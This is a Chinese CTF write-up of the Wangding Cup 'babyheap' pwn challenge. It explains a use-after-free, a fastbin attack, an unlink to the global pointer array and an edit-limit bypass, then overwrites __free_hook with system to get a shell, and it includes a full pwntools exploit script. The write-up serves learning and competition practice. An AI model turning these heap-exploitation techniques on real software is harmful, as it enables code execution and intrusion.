欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]网鼎杯第一场预选 babyheap

[原创]网鼎杯第一场预选 babyheap

前言

参加第一场,侥幸做出两道pwn和签到就进了前50。。貌似自己是前五十做题数量最少的。。时间不够就做出两道babyheap及GUESS。分数全靠babyheap来的。。

程序保护


程序除了没开启pie其他保护都已开启。

程序功能


很全面的菜单题。有create,edit,show,free功能。

create功能,能创建10个大小为0x30的堆块。并能进行写入。无漏洞点。

edit功能。每次edit会使dword_6020B0值+1.当dword_6020B0值为3时,不能进行edit。作用是限制只能进行三次edit。无漏洞点。

show功能,输出堆块内容。用于信息泄露

free功能。free功能存在明显的UAF漏洞,悬挂指针未请空。free功能无限制,可以任意次数的free。

利用思路

程序存在UAF漏洞,难题在于如何通过10次0x30大小的堆块创建及三次的edit完成内存的写入及信息的泄露。
这里先考虑如何完成内存写的问题。malloc的大小被固定,于是fastbin attack不可行。
再考虑unlink。程序未开启PIE,且存在edit功能,若我们能实现unlink,就可以写入保存堆块的地址,实现任意地址写。
但是fast chunk不存在unlink,我们需要free两个small chunk。这里我们可以通过在堆块的特定部分写入0x31实现fastbin attack写入下一个堆块头。使三个0x30chunk组成一个0x91的chunk,free掉。就可以实现unlink。unlink后还要突破edit次数为3的限制。下一部分仔细说。这里总结思路。
首先通过fastbin泄露堆的地址。通过堆的地址及UAF漏洞实现fastbin attack,修改特定堆块的size为0x91。
最终实现0x91 fd bk。。。。。。0x90 0x90
free下面的堆块实现unlink,此时就可以向保存堆块的数组写入。
因为在上面构造过程会使用掉edit的次数。所以我们需要突破edit的限制。即修改dword_6020B0值不为3.
之后就可以向free_hook写入system。free掉bin/sh。完成利用。

利用过程

1.通过fastbin泄露堆的地址。

a=malloc(0x20)
b=malloc(0x20)
c=malloc(0x20)//防止和top chunk合并
free(b)
free(a)//先free a会导致最低位为0x0.输出不出来
show(b)//泄露出heap的地址。

2.通过堆的地址及UAF漏洞实现fastbin attack

a=create(0x20,p64(0x31)3)
b=create(0x20)
c=create(0x20)
free(b)
edit(b,&a+0x10)
d=create(0x20)
e=create(0x20)
就可以覆盖c的堆块头。这里消耗两次edit制造两次fastbin attack。
构造过程如下
create(1,p64(0x31)3+chr(0x31))
create(2,’/bin/sh’)
create(3,’’)
create(4,p64(0x31)*3)
create(5,’’)
create(6,’’)
create(7,’’)
先创造7个堆块


free 3和2进行堆地址泄露


通过两次edit和两次create实现如图构造。已使用10次create及2次edit


3.unlink及突破edit限制

查看发现地址已被修改。但是并不能通过edit修改突破edit的限制。。。。因为即便是以数组最后一项来unlink。能写入的范围也只能到数组最后一项。(只能写入0x20大小)最坑的地方。。。。但还是必须要以数组最后一项来unlink。(伪造堆块用)
我们只剩一次edit的机会。除了free没有别的可以利用。233,我们通过edit伪造数组最后两项为chunk的pre_size和size伪造一个堆块。size为heap地址-0x6020a0+1。这样free,堆块1为fast chunk 不会unlink。会将伪造chunk当作一个巨大的unsorted bin chunk。。。

这时dword_6020B0的值被修改为unsorted bin的地址。。。顺便地址泄露出libc基址。。还真的一点不浪费。上面没有机会再free(create和edit次数不够)。
此时edit的限制也被突破。

常规思路修改free_hook为system。free2.拿到flag

脚本

m pwn import *

p=process(['./babyheap'],env={'LD_PRELOAD':'./libc.so.6'},aslr='FALSE')

#p=remote('106.75.67.115',9999)

e=ELF('./libc.so.6')

def create(a,b):

	p.writeline('1')

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Content:')

	p.writeline(b)

	p.readuntil('Choice:')

def dele(a):

	p.writeline('4')

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Choice:')

def edit(a,b):

	p.writeline('2')

	p.readuntil('Index:')

	p.writeline(str(a))

	p.readuntil('Content:')

	p.writeline(b)

	p.readuntil('Choice:')

context(log_level='debug')

p.readuntil('Choice:')

create(1,p64(0x31)*3+chr(0x31))

create(2,'/bin/sh')

create(3,'')

create(4,p64(0x31)*3)

create(5,'')

create(6,'')

create(7,'')

dele(2)

dele(3)

p.writeline('3')

p.readuntil('Index:')

p.writeline('3')

heap=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x30

print hex(heap)

edit(3,p64(heap+0xa0))

zz=p64(0x90)*3+chr(0x90)

create(8,'')

edit(4,p64(0x31)*2+p64(heap+0x20))

create(0,zz)

zz=p64(0x0)+p64(0x91)+p64(0x6020a8-0x18)+p32(0x6020a8-0x10)

create(9,zz)

dele(5)

edit(9,p64(0x6020b0)+p64(0x6020a0)+p64(0)+p32(heap-0x6020a0+1))

dele(6)

gdb.attach(p)

p.writeline('3')

p.readuntil('Index:')

p.writeline('6')

libc=u64((p.readuntil('\n')[:-1]).ljust(8,chr(0x0)))-0x3C4B78

print hex(libc)

system=libc+e.symbols['system']

free_hook=libc+e.symbols['__free_hook']

edit(7,p64(free_hook))

edit(8,p64(system))

p.interactive()

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功